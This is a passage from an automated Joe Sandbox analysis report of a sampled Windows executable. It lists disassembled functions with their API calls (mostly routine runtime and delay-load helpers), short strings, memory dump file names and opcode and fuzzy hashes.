Part of subcall function 007497E5: SetLastError.KERNEL32(00000000,?,00761030,00000200), ref: 0074985D
Part of subcall function 007497E5: _abort.LIBCMT ref: 00749863

Part of subcall function 0074BB4E: _abort.LIBCMT ref: 0074BB80
Part of subcall function 0074BB4E: _free.LIBCMT ref: 0074BBB4

Part of subcall function 0074B7BB: GetOEMCP.KERNEL32(00000000,?,?,0074BA44,?), ref: 0074B7E6

_free.LIBCMT ref: 0074BA9F
_free.LIBCMT ref: 0074BAD5

Strings

pu, xrefs: 0074BAC9

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: _free$ErrorLast_abort
String ID: pu
API String ID: 2991157371-250260183
Opcode ID: ba1571174276ec53c009dedb29d10cea0420908e205153492ba3cd797a8e64ac
Instruction ID: cfb9399e4d8e20f99b5139816d8264b8a6e4398f5f53c066edaadf546eec4a38
Opcode Fuzzy Hash: ba1571174276ec53c009dedb29d10cea0420908e205153492ba3cd797a8e64ac
Instruction Fuzzy Hash: 40310B31A04209EFDB14DFA8D845BAD77F5EF41320F218499E9149B2A2EB7ADE40DB50

Uniqueness

Uniqueness Score: -1.00%

Function 0073E532 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0073E51F

Part of subcall function 0073E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0073E8D0
Part of subcall function 0073E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0073E8E1

Strings

2s, xrefs: 0073E532
PDu<s, xrefs: 0073E519

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: 2s$PDu<s
API String ID: 1269201914-970619881
Opcode ID: 31c2ac2618cdd501737a70046d6b87e640ce86c0a122f6fa52110fc84f1a8931
Instruction ID: 404acd75d1b5149ccec74ce83a993814fd043e799aaaf8cd7df92e79f0e8113f
Opcode Fuzzy Hash: 31c2ac2618cdd501737a70046d6b87e640ce86c0a122f6fa52110fc84f1a8931
Instruction Fuzzy Hash: 6FB012C1698140FD3104610C1C06E7F011DC0C1F15730503EF804C00C2E88C0D440531

Uniqueness

Uniqueness Score: -1.00%

Function 0073E528 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0073E51F

Part of subcall function 0073E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0073E8D0
Part of subcall function 0073E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0073E8E1

Strings

(s, xrefs: 0073E528
PDu<s, xrefs: 0073E519

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: (s$PDu<s
API String ID: 1269201914-480722381
Opcode ID: b3b25e7a0d33dc90f3c9ccd5f0ae6a924871cc089e398d779239bd9a1f222228
Instruction ID: 8c3f68ee1192d28e84e4889f7785a324503899e73897345fa36affa9fc99bde5
Opcode Fuzzy Hash: b3b25e7a0d33dc90f3c9ccd5f0ae6a924871cc089e398d779239bd9a1f222228
Instruction Fuzzy Hash: C0B012C1698180FC3104610C1D06D7F051DC0C1F15730903EF804C41C2E88C0D450531

Uniqueness

Uniqueness Score: -1.00%

Function 00729F7A Relevance: 4.6, APIs: 3, Instructions: 111fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,?,?,?,?,0072D343,00000001,?,?,?,00000000,0073551D,?,?,?), ref: 00729F9E
WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,00000000,0073551D,?,?,?,?,?,00734FC7,?), ref: 00729FE5
WriteFile.KERNELBASE(0000001D,?,?,?,00000000,?,00000001,?,?,?,?,0072D343,00000001,?,?), ref: 0072A011

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: FileWrite$Handle
String ID:
API String ID: 4209713984-0
Opcode ID: aca1382566d0989580b2cfa07089b79aff225f875697b4f0d68699021ae4e6a7
Instruction ID: 46c150bdda7b7cf7929623cd94886d940c2c756e5fd408c3845fee3693d7e2ac
Opcode Fuzzy Hash: aca1382566d0989580b2cfa07089b79aff225f875697b4f0d68699021ae4e6a7
Instruction Fuzzy Hash: 5331F531204325AFDB24CF20E918BAEB7A5FF84711F04491DF945972D0D779AD48CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0072A2B2 Relevance: 4.6, APIs: 3, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 0072C27E: _wcslen.LIBCMT ref: 0072C284

CreateDirectoryW.KERNELBASE(?,00000000,?,?,?,0072A175,?,00000001,00000000,?,?), ref: 0072A2D9
CreateDirectoryW.KERNEL32(?,00000000,?,?,00000800,?,?,?,?,0072A175,?,00000001,00000000,?,?), ref: 0072A30C
GetLastError.KERNEL32(?,?,?,?,0072A175,?,00000001,00000000,?,?), ref: 0072A329

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: CreateDirectory$ErrorLast_wcslen
String ID:
API String ID: 2260680371-0
Opcode ID: 1c27ad1e6ea425b159e45b4de31e82ce5d8476e14f0cc2eb1353eb6af16f310c
Instruction ID: d988740ed4147f4d3f7a55bc1516873b143104bc78932567a80fe9c76939ddc8
Opcode Fuzzy Hash: 1c27ad1e6ea425b159e45b4de31e82ce5d8476e14f0cc2eb1353eb6af16f310c
Instruction Fuzzy Hash: 91019E21600370BBEF21EA756C09BEE2388AF0A781F044454F901E6092EB6CDA8186B6

Uniqueness

Uniqueness Score: -1.00%

Function 0074B893 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(5EFC4D8B,?,00000005,?,00000000), ref: 0074B8B8

Strings

, xrefs: 0074B8FD

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: Info
String ID:
API String ID: 1807457897-3916222277
Opcode ID: 9e99bfa672472cea4c1ba4c67dc1032be76dc0acf5b5420b44fbf8b0f87598e1
Instruction ID: 06c1d71436392f7e9da060732aff4b4c16c8b0011b2980c483bd48c4042029b9
Opcode Fuzzy Hash: 9e99bfa672472cea4c1ba4c67dc1032be76dc0acf5b5420b44fbf8b0f87598e1
Instruction Fuzzy Hash: 2441C6B050438CEADB218E688C84BF6BBADEB55304F1444EDE6DA86142D379EE45DB60

Uniqueness

Uniqueness Score: -1.00%

Function 0074AF6C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,2DE85006,00000001,?,?), ref: 0074AFDD

Strings

LCMapStringEx, xrefs: 0074AF7D, 0074AF87

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: String
String ID: LCMapStringEx
API String ID: 2568140703-3893581201
Opcode ID: 09417285b0b741213c895c428b368a16898a2cfc2847a0a6dc98a353a8ee612c
Instruction ID: bb8831003323c6f2049a844128d3f3e30ee49e0ec248d146d55ca200afe2e3a7
Opcode Fuzzy Hash: 09417285b0b741213c895c428b368a16898a2cfc2847a0a6dc98a353a8ee612c
Instruction Fuzzy Hash: 8B011372544209BBCF069F90EC06DEE7F66EB08751F018154FE1826160CB7A9A31EB95

Uniqueness

Uniqueness Score: -1.00%

Function 0074AF0A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,0074A56F), ref: 0074AF55

Strings

InitializeCriticalSectionEx, xrefs: 0074AF1B, 0074AF25

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin
String ID: InitializeCriticalSectionEx
API String ID: 2593887523-3084827643
Opcode ID: 1e28edfeee873940bb71a00b3cf974a758802b1006370424ade05f511de9a33e
Instruction ID: a50748f29676eec84dbd411a1d9afcea7893668f506824c6fec97f595b5aaa3c
Opcode Fuzzy Hash: 1e28edfeee873940bb71a00b3cf974a758802b1006370424ade05f511de9a33e
Instruction Fuzzy Hash: 3AF0B471685208FBCF065F60DC06CDDBF61EF04752B008054FD0856260DFB9AE14DBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0074ADAF Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 0074ADEE

Strings

FlsAlloc, xrefs: 0074ADC0, 0074ADCA

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: Alloc
String ID: FlsAlloc
API String ID: 2773662609-671089009
Opcode ID: f44fe8f24e4a944cde1a02fa62c3e7a1b3e77b20200fa40d669f88a4e9fadf09
Instruction ID: 64bd5ed12231200b87735bb597ace6458e2c88f2b98624fd3c04695598131e49
Opcode Fuzzy Hash: f44fe8f24e4a944cde1a02fa62c3e7a1b3e77b20200fa40d669f88a4e9fadf09
Instruction Fuzzy Hash: ABE05C70F80308B7C2059B24DC07DEEB754DB04723B000054FC0053250CFBC6E0086E9

Uniqueness

Uniqueness Score: -1.00%

Function 0073E1F6 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0073E1E3

Part of subcall function 0073E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0073E8D0
Part of subcall function 0073E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0073E8E1

Strings

s, xrefs: 0073E1DD

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: s
API String ID: 1269201914-1424750476
Opcode ID: 7b4425b3ef78096f697e10aea6d54999fc05efa2f580270712bd81530fdb5b3b
Instruction ID: 3a86e36fe59961287415a49ab42a24efb5e8df2955aa2a751c40fde0f559d0e8
Opcode Fuzzy Hash: 7b4425b3ef78096f697e10aea6d54999fc05efa2f580270712bd81530fdb5b3b
Instruction Fuzzy Hash: 82B012D2698104EC3104624D1C0AD77010CC0C1F11730C03FFC05C01C2E88CAC080531

Uniqueness

Uniqueness Score: -1.00%

Function 0073E1EC Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0073E1E3

Part of subcall function 0073E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0073E8D0
Part of subcall function 0073E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0073E8E1

Strings

s, xrefs: 0073E1DD

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: s
API String ID: 1269201914-1424750476
Opcode ID: c30dd849b9e4733be27c2ef68580431f5660ed35e0dd91de09fc1b88241d81aa
Instruction ID: b566639204146a77b82584c7962a855c726fed6de3e7987366f1ff7bd788865d
Opcode Fuzzy Hash: c30dd849b9e4733be27c2ef68580431f5660ed35e0dd91de09fc1b88241d81aa
Instruction Fuzzy Hash: B0B012D669C208EC3104618D1C0AD77010CC0C0F11730403EFC05C00C2F88C6C040631

Uniqueness

Uniqueness Score: -1.00%

Function 0073E1D1 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0073E1E3

Part of subcall function 0073E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0073E8D0
Part of subcall function 0073E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0073E8E1

Strings

s, xrefs: 0073E1DD

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: s
API String ID: 1269201914-1424750476
Opcode ID: 0e362b4ab50ad646d9bcc9e24b78a98c51f85def237ab55f16092dbea094ec32
Instruction ID: cff15c2ba6a6bc965a8b33e3ba546e0daf4e2c93847c88e67098ee6824808acf
Opcode Fuzzy Hash: 0e362b4ab50ad646d9bcc9e24b78a98c51f85def237ab55f16092dbea094ec32
Instruction Fuzzy Hash: 83B012D6698204FC310421891C0AC77010CC0C1F11730843EFC01C04C2F88CAC040431

Uniqueness

Uniqueness Score: -1.00%

Function 0073E264 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0073E1E3

Part of subcall function 0073E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0073E8D0
Part of subcall function 0073E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0073E8E1

Strings

s, xrefs: 0073E1DD

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: s
API String ID: 1269201914-1424750476
Opcode ID: 7487020f1e36f48d9fec119daa61bfe49dc24f174e5b62f485fcc0ffadf2a909
Instruction ID: 4115b9989d44e8f265b8b502e64be86146fbbf08ac8b0cc7365d9df35b8db461
Opcode Fuzzy Hash: 7487020f1e36f48d9fec119daa61bfe49dc24f174e5b62f485fcc0ffadf2a909
Instruction Fuzzy Hash: 13B012D26A9144EC310461891C0AD77014DC4C0F11B30403EFC06C00C2E88C6C040531

Uniqueness

Uniqueness Score: -1.00%

Function 0073E26E Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0073E1E3

Part of subcall function 0073E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0073E8D0
Part of subcall function 0073E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0073E8E1

Strings

s, xrefs: 0073E1DD

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: s
API String ID: 1269201914-1424750476
Opcode ID: aa0459f5ddb45448e2c818f609fbdec6c734b1ccbaa53b84fb8b65f20dead06d
Instruction ID: 09d99f4ca92617fe5929ef9a833a62be0849bfd39806d0bf1ed7a8472bdb5b5f
Opcode Fuzzy Hash: aa0459f5ddb45448e2c818f609fbdec6c734b1ccbaa53b84fb8b65f20dead06d
Instruction Fuzzy Hash: 9BB012D2698104EC3104A1591C0AD77014CC0C1F11730803EFC05C00C2E88CAC040531

Uniqueness

Uniqueness Score: -1.00%

Function 0073E250 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0073E1E3

Part of subcall function 0073E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0073E8D0
Part of subcall function 0073E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0073E8E1

Strings

s, xrefs: 0073E1DD

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: s
API String ID: 1269201914-1424750476
Opcode ID: e01fbb334ef384be0e4690081ad33b477440f1e6fcd2ca777e65de8094249edd
Instruction ID: c9213658e33f9002d51c033306f88e752b8172ee876208255bfe73b3639bb808
Opcode Fuzzy Hash: e01fbb334ef384be0e4690081ad33b477440f1e6fcd2ca777e65de8094249edd
Instruction Fuzzy Hash: 06B012E2699244FC314462495C0AD77010DC0C0F11B30413EFC05C00C2E88C6C480631

Uniqueness

Uniqueness Score: -1.00%

Function 0073E246 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0073E1E3

Part of subcall function 0073E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0073E8D0
Part of subcall function 0073E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0073E8E1

Strings

s, xrefs: 0073E1DD

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: s
API String ID: 1269201914-1424750476
Opcode ID: f609ad6877b97d73e797af73b5ca776b6aabc6b485b1a8c1e7cc277194a59de0
Instruction ID: 35eb192b1463267c653cb59e0ef77aa6c55252ff5ae61395d762545ba9ad6ff4
Opcode Fuzzy Hash: f609ad6877b97d73e797af73b5ca776b6aabc6b485b1a8c1e7cc277194a59de0
Instruction Fuzzy Hash: 64B012D2699144EC310461491C0AD77010DC0C1F11B30803EFC05C00C2E88CAC040531

Uniqueness

Uniqueness Score: -1.00%

Function 0073E232 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0073E1E3

Part of subcall function 0073E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0073E8D0
